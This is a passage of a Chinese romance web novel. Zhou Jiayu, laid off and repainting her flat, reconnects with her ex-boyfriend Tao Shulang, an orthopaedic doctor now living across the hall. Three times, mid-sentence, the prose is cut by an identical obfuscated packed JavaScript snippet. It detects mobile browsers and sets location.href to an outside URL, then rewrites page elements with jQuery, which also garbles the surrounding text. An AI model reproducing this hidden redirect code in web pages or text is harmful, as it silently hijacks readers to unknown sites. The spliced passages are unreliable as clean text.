中秋节过后周家瑜没有按照计划回江城,她每天会在网上投几份简历,但她发现自己已经不太想上班了。 她学的计科专业,读了一所国内有名的理工类大学,同学们毕业后起薪都不低,一山更比一山高。 她不想再继续无所事事下去,目前不上班,更不能胡思乱想,只能自己找事来做,她看了看屋里有些斑驳的墙壁,想起自己小时候还经常在屋里的墙壁上涂鸦。 奶奶任由她在家里的墙上作画,还会笑眯眯地表扬她几句。 周家瑜去超市买了一堆东西,回来之后穿上防护服戴上面罩开始用砂纸打磨墙壁,不像上班所有的任务都有个完成期限,刷墙漆这件事完全由她做主,她自己挑选墙壁颜色还有决定工期时长。 为了保存体力,她做一会休息一会,吃点东西喝点水,中间还睡了一个午觉,她做了一上午就发现装修真的是体力活。 下午在砂纸有节奏的沙沙声中她听见有人敲门,摘掉面罩透过猫眼向外看,是陶舒朗。 医生的上班下班时间真的是神出鬼没。 她打开门,和门外的人四目相对,她感觉自己脸上有汗,头发应该也很乱,此时两只眼睛仍然带着劳动人民淳朴的辛劳和干劲。 陶舒朗一手插兜,一手拎着外卖,看到这样的她先是一愣。 周家瑜全副武装,门只拉开三十厘米,她问,“怎么了?” 突然意识到自己的装修可能会给邻居带来不便,这个邻居此时就站在自己面前,“我打扰你休息了吗?” 陶舒朗摇头,“我刚回来,你中午饭吃了没有,我在外面买了一些回来。” 周家瑜本来想说自己已经吃过了,其实她的吃过只是吃了几块饼干,喝了一点热水,结果胃部的咕噜声在她说话前先出卖了自己。 陶舒朗眼里闪过一丝笑意,他眼含笑意看人的时候会让对方感觉自己好像得到了全世界的关注,但那丝笑意很快就在深邃的眼睛中消失不见,归于平静。 这会门口大开,能让外面的人看见屋里的场景,地上和家具上铺着防护膜,屋里空气一股石灰粉的味道。 肚子都告诉别人自己饿了,她也不矫情了,准备从陶舒朗手里接过外卖袋子的时候,他开口道,“你这装修现场不适合用餐,不嫌弃来我家吃吧。” 后面他又加了一句,“我已经吃过了,一会还要忙点事情,不会打扰到你。” 周家瑜点头,“我怕打扰到你休息,我洗个脸就过去。” 周家瑜脱掉防护服,转身进了浴室,一看镜子中的自己,好家伙,灰头土脸,因为之前戴防护面罩,头发此时乱糟糟地贴在额头上,眉毛都被压变形了,她无意中得到了张飞同款。 虽然和陶舒朗已经分手,两个人已经成为陌路三年多,最近因为成为邻居有了一些交集,但是她还是不想自己一副蓬头垢面的样子出现在别人面前。 尤其是他面前。 她用洗面奶仔细地把脸上的灰尘洗去,头发重新扎起,关上自家房门准备敲对门的时候发现房门虚掩着。 餐桌上已经摆好了吃的,陶舒朗从厨房拿着一副碗筷出来,“都是新的,你先吃饭。” 周家瑜看着饭桌上的饭菜,是一家老字号的淮扬菜,陶舒朗指着靠近阳台的一个按摩椅,她才发现屋里比上次她来多了一把椅子。 “吃完饭可以去按摩一会,干体力活肌肉会紧张。” 吃完饭周家瑜把饭盒收拾好,准备一会把厨余垃圾带走,吃完饭她感觉真的更累了,抵挡不住按摩椅的诱惑,心想就躺一下试试。 结果躺下发现这张按摩椅真的很舒服,全身不适的肌肉好像及时得到了安抚,正这样想的时候整个人昏睡了过去。 房门打开,有人从房间里走出来,脚步没有一点动静,陶舒朗在按摩椅前站定,看着她的睡颜。 他凝视着她的睡颜,好像很久之前那样。 周家瑜醒来的时候已经是一个半小时之后了,不上班之后,她下午午睡周期好像一直是一个半小时。 之前上班的时候每天中午午睡半个小时,不上班之后,定闹钟也失去了作用,手好像有了自己的意识,它经常神不知鬼不觉地关掉闹钟,然后自己会继续睡下去。 不上班身体有它自己的松弛感。 她起身,屋里没什么动静,卧室房门紧闭,她悄悄地关上房门回家。 她下午继续工作,中间有人敲门,现在有人敲门周家瑜已经不做他想,应该就是对门邻居。 他们这个楼一共五层,最上面一层是阁楼,这个单元住户不多,好像就四五家的样子,有人经济条件好或者为了好的学区房,搬出去住了。 她开门,门口的人拿着工具问她需不需要帮手。 周家瑜耸了耸肩,装修真的是开了头便骑虎难下的事,有帮手,即使这个帮手是前任,也没有什么不可以。 有了帮忙的人打磨速度突飞猛进,在干活的过程中,周家瑜问他,“你好像很有经验的样子。” “对门的房子是我自己装修的。” 周家瑜有些惊讶,对门的房子确实装修得很有品味,没想到是他自己做的,她也一直幻想有一天会把房子装修成自己喜欢的样子,平时也收藏了不少这方面的帖子,现在看来好像都没有派上用场。 快晚上的时候为了表示感谢,周家瑜请陶舒朗去小区附近的一家小店吃饭,那家店有几样招牌菜。 两个人一起走进店里,周家瑜有很长时间没来过这家店了,店主模样没有丝毫变化,在老板和其他顾客的闲聊中,她得知老板已经在其他地方开了第二家店,老板娘目前在负责那家。 周家瑜坐在木椅上,陶舒朗在她对面,两个人谈恋爱的时候来过这家店吃饭,让她想起那时候两个人的样子。 然而现在是现在,以前是以前,店里装潢好像有改动,还开了第二家分店,之前来都是又高又壮的老板在后厨颠勺,老板娘在前台整理菜单和结账。 店里的招牌菜有孜然鸡架和酱爆鸡蛋,周家瑜先点了这两个菜,又特地跟服务员说这两个菜口味再稍微淡一些,她又让陶舒朗点了两个菜。 周家瑜点菜的时候陶舒朗把塑封的杯碟拆开,并用滚烫的茶水烫碗。 周家瑜看着他的动作,“你现在是医生了,知道这样做根本不起什么作用吗?” 他一边动作一边平静地点点头,“之前就知道,你就把这个当作一种吃饭前的仪式感吧。” 周家瑜起身在前台货架上拿了一瓶山楂汁,给两个人倒满之后她自己喝了一口回味了一下,“山楂汁还是这个牌子的好喝。” 陶舒朗吃饭前洗了澡,他换了一件黑色短袖,头发还有点微湿,显得人更加白,他看着家瑜喝果汁,“能问你一个问题吗?” 周家瑜眼睛从山楂汁移开,她笑着看对面的人,“舒朗,我们虽然现在不在一起了,但 有问题你直接问。” “我可以视情况回答。” 陶舒朗面色不变,但不在一起那几个字,让他心里又泛起针扎似的疼痛,他在过去的几年内已经适应并逐渐忽略了这种疼痛,他以为自己已经适应了,但在周家瑜面前看来还是没有。 但他表情还是跟之前一样无懈可击,内心的波澜只有他自己知道。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501485|170363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过完节为什么没回江城?” 陶舒朗知道周家瑜这几天一直在家,她没离开,也没有出门上班,他们这个小区是一梯两户,邻居能看到彼此的阳台,周家瑜这几天在家一直洗洗晒晒,她家阳台上的洗衣机这几天一直很忙。 这时候孜然鸡架和海鲜煲上来了,服务员说了一句您请慢用走开了,周家瑜看着他说,“没什么事,就是上个月我们部门被整个裁掉,我现在在失业中。” 陶舒朗没想到是这个原因,他一直知道周家瑜在哪家公司上班,不忙的时候偶尔也会关注一下她公司的行业动态,但是最近他很忙,最近跟了不少手术,加班后回到家还需要搜相关视频来观摩。 同事们有空时会在办公室闲聊,今年暑假有亲戚家的小孩考大学,想以后当医生,让同事做参谋,看以后选哪个专业好。 那个同事说这种人生大事他不能替别人做决定,压力太大,看小孩自己的喜好就推脱出去了,私底下,那个同事说,劝人学医,天打雷劈,他自己下辈子肯定不会再当医生。 陶舒朗当医生之后一直很忙,但他好像已经习惯了这种忙碌,也认为这种忙碌正是自己需要的,他需要让工作把自己的生活填满,有的时候几乎会累到回家洗漱完倒头就睡去。 他忙,但是也知道最近一两年不少行业都在裁员,“嗯,行业不可抗力,趁这段时间好好休息也好。” 周家瑜点头,“成为医生一直很忙是什么感觉?” 陶舒朗笑了笑,“刚开始很不适应,不过现在已经好多了,没事做有时候反而有点不适应。” 陶舒朗的手臂线条分明,结实硬朗,好像蕴含着无穷的力量,他好像是在骨关节科,骨科科室手术有时候如同装修现场,对医生体力和臂力要求很高。 她想起之前两个人在一起时的一件小事,有一次两个人一起吃西餐,吃饭途中,陶舒朗把自己手机递给她,让她看一张图片,让她猜图中是什么东西。 那张图片血淋淋的,隐约可见里面的肌肉纹理,像被剖开的牛蛙肉自然地排列在一起,周家瑜看完图片再看眼前盘中的牛排,感觉有点食不下咽。 陶舒朗放下手机,面不改色地继续切着盘中的牛排,告诉她答案,是手臂上的肌肉。 经年不见之后,现在两个人又安静地坐在一起吃晚餐。 菜上齐时,周家瑜问陶舒朗,“你要不要喝点酒?啤的?” 陶舒朗做了医生后是滴酒不沾,有时候科室聚餐大家会一起喝点酒,他也是不喝的,有点不合群的样子,他不能不解释一下自己不喝酒的行为,对外说有家人因为喝酒去世,自己有阴影,所以从来不喝酒。 这倒不是陶舒朗胡诌的,而是确有此事,陶舒朗的爷爷因为一天三顿酒五十多岁时脑溢血去世,但是没有给他留下什么阴影,因为那时候他还小,事实是,他是喝酒的,但是很少在饭局上喝,只跟自己熟悉的人喝。 周家瑜是他一起喝酒的第一个女生。 他看着周家瑜,“你可以少来点。” 周家瑜看了看旁边的山楂汁,“不用了。” 吃完饭两个人一起走回小区,老式的小区周围吃饭的地方很多,道路上时不时看见违停的车辆,道路两边各种各样的小吃店,初秋了,路边吃露天烧烤的人还是不少。 回到小区,两个人一起上楼,楼道里是感应灯,有脚步声会自动亮起,缺点就是亮一会就会自动熄灭。 周家瑜在前面走,陶舒朗在下面几个台阶跟着,她脚还上着台阶,感应灯突然熄灭了,眼前顿时一片漆黑,她踉跄了一下。 后面传来快速的脚步声,有人及时扶住了她。 6. 第 6 章 周家瑜感觉自己的身体被后面有力的胳膊托住,自己重心后移,撞进了后面人的怀里,她听见他的呼吸,还闻到一股似有似无的香味。 陶舒朗声音比平时有些低沉,“小心,”然后又有点职业病,“活动下脚腕看有没有事。” 说这话的时候周家瑜还在他的怀里,他还没有把她放开。 突然的身体接触让两个人都有些愣怔。 楼下有人上楼,感应灯亮起,两个人如梦初醒,周家瑜先反应过来,她站直身体,不动声色地从陶舒朗怀里脱离出来,然后顺势转了转脚腕。 “脚没事。” “嗯。” 两个人继续上楼,周家瑜讲,“有时候下楼的时候感应灯突然熄灭,真的感觉眼前一黑,有点担心自己会一脚踩空。” 陶舒朗还是走在她后面,“正常,问题不大,平时可以补充一些富含维A的食物,”他又补充到,“以后遇见这种情况,可以一路开着手机照明,这种感应灯确实不方便。” 周家瑜转动钥匙,开房门之前她回头看,陶舒朗站在楼道口没动,眼睛看着她,看不确切,好像是盯,她回头的时候他的目光又变得柔和一些。 “早点休息。” “你也是。” 到家后洗完手从浴室出来,周家瑜坐在沙发上看手机里的信息,刚才吃饭的时候她没怎么看手机,彭月华给她转发了一篇公众号的文章,养生类的,标题大概是如何睡出好气色。 这是彭月华在委婉地告诉自己每天要早睡早起,不然气色会变差。 道理她都懂,但有时候就是难做到。 作为一个正常的女性,她有时候难免会感受到身体的躁动,之前谈恋爱的时候,她觉得一切都好,除了有时候会非常想念对方。 后来分手,三年多的时间,刚开始她心里难过,可能直接忽视了身体的需求,后来就自己有意识地不去想这件事。 时间久了,她觉得自己好像成了不需要性的人,这样把精力放在其他更重要的事上,比如说多挣钱,为了让自己忙起来,之前有一段时间,她做过兼职写文案的工作。 她在想,有过亲密关系的人,身体再次发生接触,是不是会勾起之前久远的记忆,那些记忆好像在某个隐秘的角落里攀爬出来,在人察觉之前已经迅速地伸展枝丫占领感官领地。 当意识到的时候,身体的感受已经和之前清心寡欲的时候不一样了。 现在她的身体开始躁动。 她觉得自己这会不能在密闭的空间里待着,会胡思乱想,她拿起钥匙和手机出了门。 下楼的时候她打开了手机的照明灯,二十分钟之后,她拎着袋子回来,里面是两罐啤酒还有被锡纸包裹好的一些烧烤,烧烤店出小区南门就有,但是因为吃宵夜的人不少,她在路边好闻的烟雾缭绕中等了一会。 客厅桌子上摆着烧烤和啤酒,她调出一部电影,叫闪灵,是恐怖片,年少时,总想做些特别的事情显示自己的与众不同,有一年新年跨年,她坚持要用闪灵来跨年,她计算好开场时间,尼克尔森劈开门的时候恰好就是零点跨年那一刻。 当时她和陶舒朗一起度过一个最有仪式感的夜晚。 斧头跨年。 电影里是大雪封山与世隔绝的酒店,气氛诡异阴冷,当时电影外跨年的温馨平静最终演变成了酣畅淋漓的亲密互动。 周家瑜感觉自己这部电影也选错了,本来想让自己冷静下来的,结果好像朝着相反的方向发展下去了。 早知道,她会选泰国的闹鬼电影,冷静效果应该会更佳。 浴室的水声停下来,之前中间掺杂着的喘息声也平息下来,陶舒朗擦着头发从浴室里走出来,他眼睛有些发红,平时略带冷漠的眼睛现在带着湿意。 他把头发吹干,学医之后他自己养成了很多好的习惯,比如睡前要把头发吹干,入睡时不能带着负面的情绪。 他和周家瑜在一起的时候他也会叮嘱她这样做。 有一次周家瑜打趣他,说他管东管西,自己这是交到了传说中的爹系男友。 陶舒朗比周家瑜大四岁,他认识周家瑜的时候正在读研究生,大四岁爹系算不上,他嘴上没说不认可,当时只是把周家瑜带到教学楼没人的隐秘角落里,用了一些不好说的手段,最后周家瑜只好承认他顶多是哥系。 陶舒朗吹完头发,无意识地看向远处,没有看见自己的身影印在对面的窗上,他赤着上身,肩膀宽阔,腰腹间的肌肉坚实有力,身材跟大学时候相比还是有些变化。 工作后,因为有时候要长时间站着跟手术,耐劳的体力越来越重要,他工作之余会见缝插针地去健身去游泳,他在办公室也会放一副哑铃,写病历休息的空挡,拿来练手臂上的肌肉。 三年按部就班的生活。 之前跟周家瑜分手,他觉得自己二十几岁之前也根本不认识她是谁,也活得好好的,跟她分手,当时他想,生活会回归到之前平静无聊的样子。 换上睡衣在灯下看文献的时候手机响起,是父亲陶合敬的电话,母亲关宴青去世之后父子两个很少再联系,上一次见面还是陶合敬再婚的时候。 父亲再婚,唯一的儿子不出场表示支持确实是有些说不过去。 “喂。” 那边的声音掺杂着喜气,“舒朗,你阿姨她生了,是个女儿。” 听着陶合敬有些激动的声音,陶舒朗的声音听上去更加程序化的平稳,“嗯,恭喜,你们在哪家医院?” 第二天中午陶舒朗驱车去了一家妇幼医院,关城生孩子的有一半多都去那家医院。 他把买的东西放下,许阿姨年纪比陶合敬小十岁,也已经是超龄产妇,这会怀里抱着眼珠似的女儿,看见陶舒朗走进来,她很客气,忙让陶合敬招呼他。 陶合敬让陶舒朗看了看女儿,他看到襁褓里一个皱成一团的小脸,这会脸蛋正红温,表情好像对这个世界不太满意。 新生儿让父母手忙脚乱,陶合敬虽然当过父亲,但那也是很久之前的事了,一切都需要重新学习。 陶舒朗无意再逗留,陶合敬送他出去,陶舒朗递给他一个红包,陶合敬再三推拒不肯收,陶舒朗真的不想父子两个在红包上继续拉扯。 “爸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501486|170363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收下吧,让我也沾沾喜气。” 陶合敬再婚之后家长权威也大打折扣,难得的一次见面终于又想起儿子的终身大事,“今年你三十了吧,三十而立,先成家再立业。” “你现在事业也稳定了,就是忙了点,但忙点能多学东西。” “你条件又不差,肯定有人给你介绍很好的,沉下心来多接触接触,说不定哪天就碰到缘分。” 陶舒朗站在他面前,对这段话没反应,没表明态度。 陶合敬顿了顿,“你妈当初以死相逼,逼你和那个女孩分手,现在你妈不在了,你要是还念着那个女生,可以去找她,现在没人阻碍你们在一起了。” 陶合敬说话的时候一直看着陶舒朗,在观察他的反应,因为作为父亲他知道,陶舒朗在分手之后变了很多,尤其是眼神。 他看到陶舒朗眼睛里闪过一丝讥讽,很快又消失不见,毕竟当时他为了家庭安稳和关宴青的后续治疗,他自己也是默认支持他们分手的。 陶舒朗听了一顿爹系说教,走之前跟陶合敬说,“爸,你也太看得起我了,世界上就我一个男生吗,我当初决意要和对方分手,别人就不会伤心吗?” 陶合敬到嘴边的你当时也非常伤心还是咽了下去,他是陶舒朗的父亲,看待问题当然会站在自己儿子的角度上,陶舒朗的话点醒了他。 对方也是父母精心呵护下长大的小孩。 失恋在二十几岁的年纪是人生前所未有的重大挫折,陶合敬现在是有女儿的人了,如果自己女儿被人嫌弃父母不够好而被分手,他连想不不敢想。 别人周家瑜早上醒来吃完早饭后就开始刷底漆,陶舒朗之前把自己用的刷子都拿了过来,刷完底漆之后她出去找了一家按摩馆,按摩的时候技师看着她的胳膊像发现新大陆,“你看,你的胳膊肌肉竟然在抽动。” 周家瑜仰头躺在按摩床上,眼睛看着天花板上的星空贴纸,她突然想起英国有一道黑暗料理,仰望星空,鱼头看向天空,一副不甘心被吃,死不瞑目的样子。 她突然觉得自己这几年想象力真的越来越丰富了,也是,一个人寂寞的时候是会无师自通,学会自娱自乐的,她说,“应该是累着了,我刚才刷漆来着。” 按摩完看整个世界都熨帖了,她去附近的零食店转了转,最近两年好像有不少零食店冒出来,门口连环播放的广告词也很洗脑,她买了几样零食和椰子水,去附近的一个小公园坐坐。 现在网上流行公园二十分钟效应,天气好的时候去晒晒太阳,这个季节真的不要更好。 她想起一句话,太阳闪耀着金色,而我囊中羞涩。 后半句她不太喜欢,虽然自己不富,但是也绝不会囊中羞涩。 她要改一下,虽然韵脚没了,但她自己喜欢,太阳闪耀着金色,我在吃着芒果干。 那个公园有她很喜欢的一棵树,树周围铺满了半凸的鹅卵石,她坐在树下一把半褪色的木椅上,不冷不热的阳光透过浮动的树叶照耀在她脸上,她嘴里叼着吃了一半的芒果干,嘴里的滋味是酸甜的,她伸开胳膊,闭着眼睛仰起头,脸上感受阳光的跳跃。 7. 第 7 章 陶舒朗今天忙到飞起,跟了一场手术,正想坐下喝水的时候走廊里一阵喧哗,他伸出头去看是不是医.闹,结果走廊里一个肩膀上插着斧头的人正走过来,血浸湿了大片衣服,他立即迎上去。 晚上回家前他去常去的一家粥店点了外带,出门的时候遇见科室主任,樊主任平时在医院穿着白大褂,出门穿便装,别的科室有人调侃他便装很像杀猪的熟手,因为他本尊又黑又高又胖。 几年前医院里来了一批新的医生,因为骨科手术有时候动静很大,听一会就感觉像在上演德州电.锯,这个科室对医生的体力要求很大,樊主任当时不太看好陶舒朗,他是个子高,身材匀称,但是还没有达到自己要求的那种壮的标准,个头倒不是很重要。 他看陶舒朗可以演个医疗电视剧,上阵锯骨头不太够。 后来在手术中他发现陶舒朗劲很大,手还很稳,有点人不可貌相。 樊主任私下还比较随和,调侃了一下陶舒朗,“我不是第一次在这见着你了,你快成这家店的常客了。” “嗯,粥不错,主任,你一会报我手机号。” 樊主任收入不菲,自然不会用他的卡,主任夫人去年冬天来医院的时候,穿着油光水滑的貂皮大衣,身上戴的黄金首饰闪闪发亮,护士长说快把她的眼睛闪瞎了。 陶舒朗回到住处,看到门口放着一个工具箱,里面是自己拿给周家瑜的刷漆工具。 他今天忙得还没来得及看手机,工作之后失联几个小时是常态,他打开手机,有很多信息同时涌进来,他向下滑动屏幕,果然有周家瑜的一条信息,下午四点多发的,“工具我今天用完了,谢啦。” 他坐在沙发上看着这条信息,之前工作的忙碌让他集中精力,不去想,现在忙碌的工作让他错过了一些事。 此一时彼一时。 刷完漆屋子要封闭起来自然晾干,房子肯定不能住人,他起身去阳台,对面没有任何光亮。 他发了一条信息,“我刚看到信息,你现在住哪?” 一会周家瑜回了信息,“我回江城了。” 周家瑜跟上次一样坐高铁回江城,现在她不上班,下次真的要提前做好计划买好普通火车票。 昨天彭月华直接给她银行卡转了一万,没转微信是她知道周家瑜会不收,钱最后还是原路返回。 失业后,周家瑜又开始记账了,像大学时那样。 她大二暑假跟陶舒朗因为共同的爱好认识,两个人都喜欢看悬疑恐怖电影,大三一开始两个人就谈起了恋爱,他们很快就陷入热恋中,如胶似漆。 谈恋爱期间的花费大部分都是陶舒朗出,他坚持这样做,也认为他应该这样做,和他谈恋爱,除了身心享受之外,周家瑜的生活水平提高了不少。 两个人同一年毕业,周家瑜本科毕业,陶舒朗研究生毕业,在陶舒朗室友们以为他会毕业就领证的时候,他和周家瑜分手了。 陶舒朗对于自己的感情私事很少跟室友讲,他谈恋爱的事情刚开始室友都不知道,后来他整个人气色很好,还常常出去煲电话粥,大家才知道万年铁树终于开花了,还开得很热烈。 陶舒朗带着周家瑜去跟他的室友一起吃过饭,他们两个自然散发的恋爱酸臭气让陶舒朗室友们羡慕又嫉妒,这是后来陶舒朗告诉她的。 周家瑜又想起以前的事,最近因为见到陶舒朗,有时候她很容易就被触到哪个点,引发一些很久没想起的回忆。 她开始打扫整理房间,屋里随机放着音乐,如果不及时觉察自己的情绪黑洞,她发现自己会真的痛苦。 不上班每天的时间好像过得更快,粘贴复制一样地流过去了,天气很好,周家瑜每天都出去晒一会太阳,顺便买食材和倒垃圾。 晚上她记账的时候看日期才发现九月已经快到下旬了,晚上九点多的时候她收到之前同事的一条信息,在不在? 她跟胡杨在不同的部门,因为同一个项目有过几次团队合作,周家瑜可以看感觉出他对自己有好感,但是她对他没兴趣,他私下对自己说过几次暧昧的话,她只感到反感。 晚上快十点的时候发信息,一个暧昧的时间,在不在,异性之间有点暧昧的话语。 周家瑜打算冷处理,自己当作没看到。 胡杨现在还在原公司,他所在的部门负责公司传统的优势项目,所以业绩一直很不错,他本人也一直春风得意,因为长得不错,所以一直以精英男自居。 她把手机静音放在一旁,眼睛看着眼前的大屏幕,跟着健身博主做运动,运动的过程多少有些痛苦,但是她想要运动后的松弛和平静感。 等她洗完澡吹干头发准备入睡的时候,拿过手机来设置闹钟,虽然不上班,但是她还是在尽可能地坚持早起,划开屏幕才发现胡杨还有后续,他发了几条信息,打了两个微信电话,手机上还有他的一通未接来电。 信息已经开始有些露骨,“你怎么不理我?我有些伤心,你现在虽然不在公司了,我们毕竟同事一场,之前合作得多愉快呀。” 先是信息,接着微信电话,最后手机电话,最后自己发来一条找补的信息,“懂了,美容觉,你已经睡觉了,怪不得你在公司三年越来越漂亮。” 晚安最后配了一个么么哒的动图表情包。 周家瑜把他的微信信息设为免打扰,晚上睡觉前她不想因为一个半夜发.骚的男人生闲气。 第二天她又收到对方的信息,问自己有没有空,要请自己吃饭,之前合作过几次,自己离开公司他也没有任何表示,心里很是过意不去。 后面还发了一条,他留学时的同学现在在一家大公司上班,后面附上了公司名,确实涵盖周家瑜之前部门的业务,说他们关系不错,留学时一块出去旅游过几次,对方公司现在在招人,自己可以跟对方联络给她争取面试的机会。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501487|170363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周家瑜前一天晚上因为做了春.梦没睡好,这会有起床气,对一切雄性的生物都没有好感,她在床上坐了一会又躺下,迷迷糊糊地准备补觉。 刚要入睡的时候手机再次震动起来,她半睁开眼看了一下,屏幕上一串手机号,她突然滋生出一股气,自己坐起来靠在床头上,因为困倦闭着眼睛,但清了两下喉咙不让对方听出自己的睡意。 不然以对方的尿性很有可能会暗爽一把。 她深呼吸几次,对方的电话还是没有挂断,她声音已经调整到和平常无异,接通电话后她直接说,“你好,胡经理,你昨天夜里和今天早上的信息我看到了,我目前不打算再找类似的岗位,谢谢你的好意。” 她说完之后,对面沉默了几秒,接着传来熟悉的声音,“家瑜?” 她移开手机再次看屏幕,是一串数字,没有名字,但却是自己曾经非常熟悉的号码,陶舒朗的手机号。 之前两个人分手后,她保留了他的微信,因为里面有两个人的聊天记录,留着也许是为了缅怀那段感情,但更多的是为了记住曾经赤诚的自己。 她把陶舒朗的手机号一键删除了,因为她担心自己会忍不住给对方打电话,虽然他的手机号她早已经倒背如流。 后来三年间,两个人没有丝毫联系,不知不觉中周家瑜真的把他的手机号忘记了,偶尔回忆起来也记不全了。 周家瑜换了一种语气,刚才自己的声音好像毫无感情的人工智能,“抱歉,我刚才以为你是我之前同事。” 曾经太亲密的两个人,从对方的语气中会听出未曾说出的信息。 陶舒朗的声音还是跟之前一样好听,“你这个同事给你造成困扰了吗?” 没来由的,周家瑜觉得一股酸气从胸腹直接上窜到鼻腔和喉咙,她捂住手机,闭着眼睛用很大的意志力平复自己的情绪,她深呼吸了两次,接着坦白,“是有一点,不过我今天会处理好。” 过了两秒,话筒那边传来声音,“嗯。” 周家瑜已经恢复正常,“对了,你打电话来是?” 陶舒朗想起自己刚才听到的讯息,自己也是为了给周家瑜介绍工作,他简单几句话说明来意。 “你明天有时间吗?有时间的话我们见一面详谈。” “可以,看你的时间。” 结束通话后,周家瑜看着黑下去的屏幕,这会对于自己刚才那股委屈非常明了,自己一个人的时候什么都要抗都能抗,有个曾经很亲密的人来关心的时候,自己就会觉得委屈,想要倾诉和依靠。 是人的自然反应,已经过去了,人是会变的,自己也变了。 她又打开手机,早上吃饭前要打扫一个生活中的不速之客。 她打开和胡杨的聊天记录,“你好胡经理,我目前暂时不想再从事类似的行业,感谢,”后面紧跟了一句,“听说你今年要升职了,很难得的机会,提前恭喜。” 8. 第 8 章 周家瑜现在整天在家,有大把的时间,陶舒朗告诉她自己今天休班,两个人商量见面时间,陶舒朗是从关城过来,周家瑜跟他讲看他的时间,陶舒朗回了一句她来定。 周家瑜平时每天都有午休的习惯,并且时间还不短,有一天没有午休的话会有点头晕脑胀。 见面时间定在下午五点。 午休之后头脑保持清醒去见人正好。 地点也是周家瑜定的,在离家两条街的一家路边小馆,他们家的锅子很有名,汤底清亮,食材新鲜,羊肉非常美味。 她有一个习惯,喜欢雨天打牙祭,下雨天有时候她会去那家店吃,自己穿着防水鞋,撑着一把很大的格子伞,直接走路去,下雨时整个城市有一种不同的氛围,让人惆怅又清醒,让人想吃点好吃的,想喝杯热饮,吃饱了舒服地回家躺着追剧。 陶舒朗要去接周家瑜一起去吃饭的地方,周家瑜说不用,自己走路过去。 她提前到了半个小时,见面的时候先到的人好像有点主场的优势。 她刚走到门口,旁边有人从车上下来,是陶舒朗,他比自己到的更早,两个人一起走进店里。 老板娘已经认识周家瑜了,“今天还是原来的套餐吗?” 周家瑜说今天换点别的,从服务员的手中拿走了点菜单。 两个人落座。 陶舒朗今天穿着白衬衫黑西裤,很简单常见的装扮,穿在他身上有种浑然天成的妥帖和自然。 周家瑜把单子递给陶舒朗,“今天我请客,想吃什么打钩。” 他手里拿着单子,眼睛在单子上方看了一眼对面,“你平时来都是什么套餐?” 周家瑜说了几样,有荤有素,陶舒朗点头,“嗯,今天你有别的想吃的吗?” “没有。” “嗯,那就按照你的套餐来双份吧。” 因为不到五点,店里人还不多,店里设计的小隔断只保护身体隐私,隔音性几乎没有,之前周家瑜一个人来吃的时候,也不用在意别人好奇的目光,有时候还喝杯啤酒。 周家瑜喝啤酒还是周元明教的,用他的话来说,女孩子要会喝点酒,不然以后进入社会会吃亏,周家瑜满十八岁之后就开始偶尔喝一点啤酒,第一次喝啤酒没经验,按照饮料的喝法大口喝了半杯,因为喝太猛一会头开始发晕,她在那支着头问为什么感觉有点晕,把周元明和彭月华都逗笑了。 后来周家瑜想了想,不会喝酒会吃亏,这个逻辑也不对,直接说自己不会喝酒好了,根本没必要去沾酒,作为女生,一般不会有人会强迫你去喝酒。 不远处传来碰杯的声音,听声音好像是几个女生在聚会,其中一个女生正在吐槽相亲对象,“他说要找贤妻良母,并且明确表示女方要自己家人满意才行,尤其是他妈妈,他认为自己这样做就是孝道。” 接着传来一阵嗤之以鼻的声音。 陶舒朗和周家瑜这桌本来正在讲一家公司,结果隔壁这桌说话声音更大,强劲地灌入耳膜,反应过来后他们两个都沉默了。 好像真正经历过风暴的人听旁人在谈论那场风暴杀伤力传言有多大。 就在此时,服务员推车走到他们这桌开始上菜,两个人彼此沉默,双双看着服务员摆菜。 周家瑜笑着看着服务员,“麻烦给我们拿双公筷。”这家店的公筷是特制的,需要专门再要。 周家瑜从服务员手里接过公筷,她询问陶舒朗的意见,“我们先烫菜?” 吃火锅先烫菜是两个人之前在一起养成的习惯,但之前都是陶舒朗在饭桌上忙活,周家瑜只负责吃。 习惯没变,做这件事的人变了。 倒不是周家瑜好客,而是她现在已经一个人生活习惯了,自己不动手就真的没得吃,她不喜欢吃外卖,高盐高油还贵。 两个人走出店时外面已经起了凉风,周家瑜裹紧身上的针织衫,陶舒朗看到她被风吹到的样子,脸庞这会有些冷艳。 天气不好,周家瑜想赶快回家,她先开口,“你路上慢点,我离着很近,走路回去。” 陶舒朗看着她说,“起风了,让我送你吧。” 他的语气让周家瑜想起以前,他们还在校园,中午陶舒朗经常骑车带着周家瑜一起去学校餐厅吃午饭,学校有个餐厅盖浇饭很好吃。 天气冷的时候,周家瑜会在电车前面系上挡风被,她在后面坐着的时候就会用力把挡风被向后拉,这样会把陶舒朗包裹严实,自己膝盖也会被盖住。 